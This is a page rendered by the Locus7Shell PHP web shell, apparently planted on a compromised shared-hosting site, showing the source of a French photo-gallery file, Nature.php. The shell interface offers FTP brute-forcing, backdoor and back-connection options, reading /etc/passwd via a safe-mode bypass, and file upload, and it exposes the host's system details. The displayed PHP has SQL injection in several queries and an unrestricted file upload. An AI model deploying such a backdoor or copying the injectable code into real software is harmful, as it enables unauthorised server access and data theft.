Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Nature.php (6.98 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<link rel="stylesheet" href="css/lightbox.css" type="text/css" media="screen" />
<style type="text/css">
<!--
body {
    margin-right: 0px;
    margin-bottom: 0px;
}
.Style3 {color: #FFFFFF}
-->
</style>
<script type="text/javascript" src="js/prototype.js"></script>
<script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script>
<script type="text/javascript" src="js/lightbox.js"></script>
</head>
<body>
<p class="Style3">NATURE</span>
<table width="800" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td>
         <?php
include ("connect.php");
$get mysql_query("SELECT * FROM presentation WHERE ID='9'");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$texte $row['TEXTE'];

if (isset(
$_SESSION['identifiant']))
           {
           
            if (isset(
$_GET['valider']))
              {
              
$text2 mysql_real_escape_string($_POST['text2']);
              
$num '9';
              
$query mysql_query("UPDATE presentation SET TEXTE='$text2' WHERE ID='$num'");
              echo 
"<p class='Style2'>Modification réussis</p>";
              
$get4 mysql_query("SELECT * FROM presentation WHERE ID='$num'");
              while (
$row4 mysql_fetch_assoc($get4))
               {
                  
$texte4 $row4['TEXTE']; 
                  echo 
"<p class='Style2'>$texte4</p>";
                  
                   }
              }
              else
              {echo 
'<table><form action="index.php?page=Nature&valider=1" method="POST" enctype="multipart/form-data"><td><tr>
           <textarea name="text2" cols="80" rows="5">'
.$texte.'</textarea></tr>
           
                    <tr><input type="submit" name="sup2" value="Enregistrer"></tr></td>
                    </form></table>'
;
                    }
           
           
           
           }
           else
           {
           echo 
"<p class='Style2'>$texte</p>";
           }
         
     }
     
               echo 
" <form id='form1' name='form1' method='POST' action='index.php?page=Nature'>
                    <select name='Categorie'>
                   <option value=''>----- Catégorie -----</option>"
;
              
$get mysql_query('SELECT * FROM nature ORDER BY CATEGORIE');
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$cat $row['CATEGORIE'];
                    
$idcat $row['ID'];
                    echo 
"<option value=".$idcat.">".$cat."</option>";
                    }       
                     echo 
'</select><input type="submit" value="Valider" title="Valider" /></form></br>';
                    
                    
if (isset(
$_SESSION['identifiant']))
           {

           
        if (isset(
$_GET['ajout1']))
                    {
                    
                     if (isset(
$_GET['ajout2']))
                    {
                    echo
" <form action='index.php?page=Nature&ajout1=1&addd=1' method='POST' enctype='multipart/form-data'>
                    <table><tr><td><input name='newcat' type='text' value='' maxlength='40' /></td><td>
                    <input type='submit' name='sup' value='Ajouter'></td></tr></table>
                    </form>"
;
                    }
                    else
                    {
                    if (isset(
$_GET['addd']))
                    {
                    
$newcat $_POST['newcat'];
                    
$query mysql_query("INSERT INTO nature VALUES ('','$newcat')");
                    echo 
"Ajout réussi
                    <META HTTP-EQUIV='Refresh' CONTENT='2;URL=index.php?page=Nature&ajout1=1'>"
;
                    }
                    else
                    {
                    echo
" <form action='index.php?page=Nature&ajout1=1&ajout2=1' method='POST' enctype='multipart/form-data'>
                    
                    <input type='submit' name='sup2' value='Ajouter une Catégorie'>
                    </form>"
;
                    }
                    }
                    
                    echo
" <form action='index.php?page=Nature&add1=1' method='POST' enctype='multipart/form-data'>
                    <table width='700'><td><tr><br>Titre et commentaire: <input name='titre' type='text' value='' maxlength='70' /></tr>
                    <tr>Photo: <input type='file' name='myfile'>Mettre un fichier JPG. </tr>
                    <tr> 
                    <select name='Nature'>
                   <option value=''>----- Nature Catégorie -----</option>"
;
              
$get mysql_query('SELECT * FROM nature ORDER BY CATEGORIE');
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$cat $row['CATEGORIE'];
                    
$idcat $row['ID'];
                    echo 
"<option value=".$idcat.">".$cat."</option>";
                    }       
                     echo 
"</select></tr>
                    <tr><td><input type='submit' name='sup' value='Ajouter'></td></tr></table>
                    </form><br><br><br><br><br>"
;
                    }
                    else
                    {
                    if (isset(
$_GET['add1']))
                    {
                    
$name $_FILES['myfile']['name'];
                    
$name strtr($name'ÁÀÂÄÃÅÇÉÈÊËÍÏÎÌÑÓÒÔÖÕÚÙÛÜÝ''AAAAAACEEEEEIIIINOOOOOUUUUY');
                    
$name strtr($name'áàâäãåçéèêëíìîïñóòôöõúùûüýÿ/''aaaaaaceeeeiiiinooooouuuuyy_');
                    
$size $_FILES['myfile']['size']; //voir le tutorial upload pour vérifier que c'est une image
                    
$tmp_name $_FILES['myfile']['tmp_name'];
                    
$titre $_POST['titre'];
                    
$title strtr($titre'ÁÀÂÄÃÅÇÉÈÊËÍÏÎÌÑÓÒÔÖÕÚÙÛÜÝ''AAAAAACEEEEEIIIINOOOOOUUUUY');
                    
$title strtr($title'áàâäãåçéèêëíìîïñóòôöõúùûüýÿ/''aaaaaaceeeeiiiinooooouuuuyy_');
                    
$categ $_POST['Nature'];
                    
                    if (
$name)
                         {
                          
//Chargement en cours
                          
$location ="nature/$title.$name";
                          
move_uploaded_file($tmp_name,$location); //regarder le tutorial pour que personne ne puisse y installer des fichier!!!
                         
$querynat mysql_query("INSERT INTO chaquenature VALUES ('','$categ','$titre','$location')");
                                   echo 
"Ajout réussi";
                         }
                    else
                         echo(
"Sélectionner un fichier!");

                    
                    }
                    else
                    {
                    echo
" <div align='right'><form action='index.php?page=Nature&ajout1=1' method='POST' enctype='multipart/form-data'>
                    <input type='submit' name='sup2' value='Ajouter une Photo'>
                    </form></div><br>"
;
                    }
                    }
                    
                if (isset(
$_GET['delete'])){
                     
$id $_GET['id'];
                     
$query mysql_query("DELETE FROM chaquenature WHERE ID='$id'");
                     echo (
"<p class='Style2'><strong>La photo n'existe maintenant plus.</strong></p>");
                     }
                  else
                  echo 
"<p class='Style2'><strong>Pour supprimer une photo: Cliquer dessus.</strong></p>";    
            }
            
    
?>
    
    <?php
          
//apparition des données
          
if (isset($_POST['Categorie']))
            
$selection $_POST['Categorie'];
          else
          
$selection "NOT";
          
         if (
$selection=="NOT")
            
$get mysql_query("SELECT * FROM chaquenature ORDER BY TITRE");
          else
             
$get mysql_query("SELECT * FROM chaquenature WHERE CATEGORIE LIKE '$selection' ORDER BY TITRE");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$picture $row['PHOTO'];
       
$name $row['TITRE'];
         
$id $row['ID'];

     if (isset(
$_SESSION['identifiant']))
           {echo 
"<a href='index.php?page=Nature&id=".$id."&delete=3'>";}
     else 
     {echo 
"<a href='$picture' rel='lightbox[roadtrip]' title='".$name."'>";}
     
     echo 
"<img src='$picture' width='100' height='70' border='0' alt='$name' title='$name' /></a><img src='image/transparent.png' width='10' height='70'  /> ";
     if (
$i>7)
       {
       echo 
"<br>";
       
$i=1;
       }
     }
    echo 
"</p></td>";
?>

  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--